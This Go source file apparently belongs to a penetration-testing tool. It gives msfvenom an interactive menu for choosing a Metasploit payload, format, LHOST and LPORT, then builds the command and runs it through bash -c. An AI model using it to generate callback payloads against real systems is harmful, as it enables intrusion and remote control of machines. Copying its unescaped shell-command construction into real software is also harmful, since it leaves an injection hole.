package utils

import (
	"fmt"
	"io/ioutil"
	"log"
	"os/exec"
	"path/filepath"
	"sort"
	"strings"

	"github.com/c-bata/go-prompt"

	pr "github.com/manifoldco/promptui"
)

var ()

type Pay struct {
	Name string
	Desc string
}

type Pays []Pay

func (pays Pays) Len() int { return len(pays) }
func (pays Pays) Less(i, j int) bool {
	if len(pays[i].Name) == len(pays[j].Name) {
		return byte(pays[i].Name[0]) < byte(pays[j].Name[0])
	}
	return len(pays[i].Name) < len(pays[j].Name)
}

func (pays Pays) Swap(i, j int) {
	pays[i], pays[j] = pays[j], pays[i]
}

func (pays Pays) filterPrefix(platform string) (out []Pay) {
	for _, p := range pays {
		if strings.HasPrefix(strings.TrimSpace(p.Name), strings.TrimSpace(platform)) {
			m := p.Desc
			if len(m) > 30 {
				m = m[:26] + "..."
			}
			out = append(out, Pay{
				Name: p.Name,
				Desc: m,
			})
		}
	}
	return
}

func (pays Pays) filterContains(key string) (out []Pay) {
	for _, p := range pays {
		if strings.Contains(p.Name, key) {
			m := p.Desc
			if len(m) > 30 {
				m = m[:26] + "..."
			}
			out = append(out, Pay{
				Name: p.Name,
				Desc: m,
			})
		}
	}
	return
}

func GeneratePayload(payload, host, port, types, output string) {
	fmt.Println(host, port)
	fmt.Println(payload)
	fmt.Println(types, output)
	_, err := exec.LookPath("msfvenom")

	outputs := ""
	if output != "stdout" {
		outputs = fmt.Sprintf("-o %s", output)
	}
	fmt.Println("bash", "-c", strings.Join([]string{"msfvenom", "-p", payload, "-f " + types, fmt.Sprintf("LHOST=%s", host), fmt.Sprintf("LPORT=%s", port), outputs}, " "))
	if err != nil {
		log.Fatal("no msfvone found!")
	}

	cmd := exec.Command("bash", "-c", strings.Join([]string{"msfvenom", "-p", payload, "-f " + types, fmt.Sprintf("LHOST=%s", host), fmt.Sprintf("LPORT=%s", port), outputs}, " "))
	res, err := cmd.Output()
	if err != nil {
		log.Fatal("genrate error:", err)
	}
	fmt.Println(res)
}

func Choose() (payload string, host string, port string, types string, output string) {
	items := Pays(PAYS).Fields(0)
	chooser := pr.Select{
		Items:             items,
		Templates:         &templates,
		StartInSearchMode: false,
		Size:              14,
	}
	var err error
	chooser.Searcher = func(key string, ix int) bool {
		if strings.Contains(items[ix].Name, key) {
			return true
		}
		if strings.Contains(items[ix].Desc, key) && len(key) > 3 {
			return true
		}
		return false
	}

	ix, _, err := chooser.Run()
	platform := items[ix].Name
	if err != nil {
		log.Fatal("choose error:", err)
	}

	// fmt.Println(platform)
	items2 := Pays(PAYS).filterPrefix(platform)
	items2 = Pays(items2).Fields(1)
	// fmt.Println(items2)
	chooser.Items = items2
	chooser.Searcher = func(key string, ix int) bool {
		if strings.Contains(items2[ix].Name, key) {
			return true
		}
		if strings.Contains(items2[ix].Desc, key) && len(key) > 3 {
			return true
		}
		return false
	}
	ix, _, err = chooser.Run()
	version := items2[ix].Name
	items2 = Pays(PAYS).filterPrefix(platform + "/" + version)
	chooser.Items = items2
	chooser.Searcher = func(key string, ix int) bool {
		if strings.Contains(items2[ix].Name, key) {
			return true
		}
		if strings.Contains(items2[ix].Desc, key) && len(key) > 3 {
			return true
		}
		return false
	}
	ix, _, err = chooser.Run()
	payload = items2[ix].Name
	items3 := TYPES
	sort.Sort(Pays(items3))
	chooser.Items = items3
	chooser.StartInSearchMode = false
	chooser.Searcher = func(key string, ix int) bool {
		if strings.Contains(items3[ix].Name, key) {
			return true
		}
		if strings.Contains(items3[ix].Desc, key) && len(key) > 3 {
			return true
		}
		return false
	}
	ix, _, err = chooser.Run()
	types = items3[ix].Name
	if err != nil {
		log.Fatal("choose error:", err)
	}
	host = prompt.Input("LHOST>", func(d prompt.Document) (s []prompt.Suggest) {
		pre := d.GetWordBeforeCursor()
		return prompt.FilterHasPrefix(HOSTS, pre, true)
	}, prompt.OptionTitle("h:"))

	port = prompt.Input("LHOST:"+host+" LPORT>", func(d prompt.Document) (s []prompt.Suggest) {
		pre := d.GetWordBeforeCursor()
		return prompt.FilterHasPrefix([]prompt.Suggest{{"44445", "default port"}}, pre, true)
	}, prompt.OptionTitle("h:"))
	output = prompt.Input("output default stdin>", FilePathCompeter, prompt.OptionTitle("h:"))
	if output == "" {
		output = "stdout"
	}
	return

}

func FilePathCompeter(d prompt.Document) (s []prompt.Suggest) {
	pre := d.TextBeforeCursor()
	// fss := strings.Fields(pre)
	// if len(fss) != 2 {
	// 	return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
	// }
	dirPath := filepath.Dir(pre)
	fs, _ := ioutil.ReadDir(dirPath)
	// fmt.Println("hear:", d.GetWordBeforeCursor(), len(fs))
	for _, f := range fs {
		one := prompt.Suggest{Text: filepath.Join(dirPath, f.Name()), Description: fmt.Sprintf("%s %d", f.ModTime(), f.Size())}
		s = append(s, one)
	}
	return
}
